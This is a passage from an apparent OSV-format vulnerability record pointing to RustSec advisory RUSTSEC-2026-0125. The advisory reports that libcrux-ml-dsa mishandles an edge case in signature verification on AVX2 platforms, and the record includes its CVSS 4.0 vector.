      "url": "https://github.com/cryspen/libcrux"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0125.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " libcrux-ml-dsa: Signature Verification on AVX2 Platforms Mishandles Edge Case"
}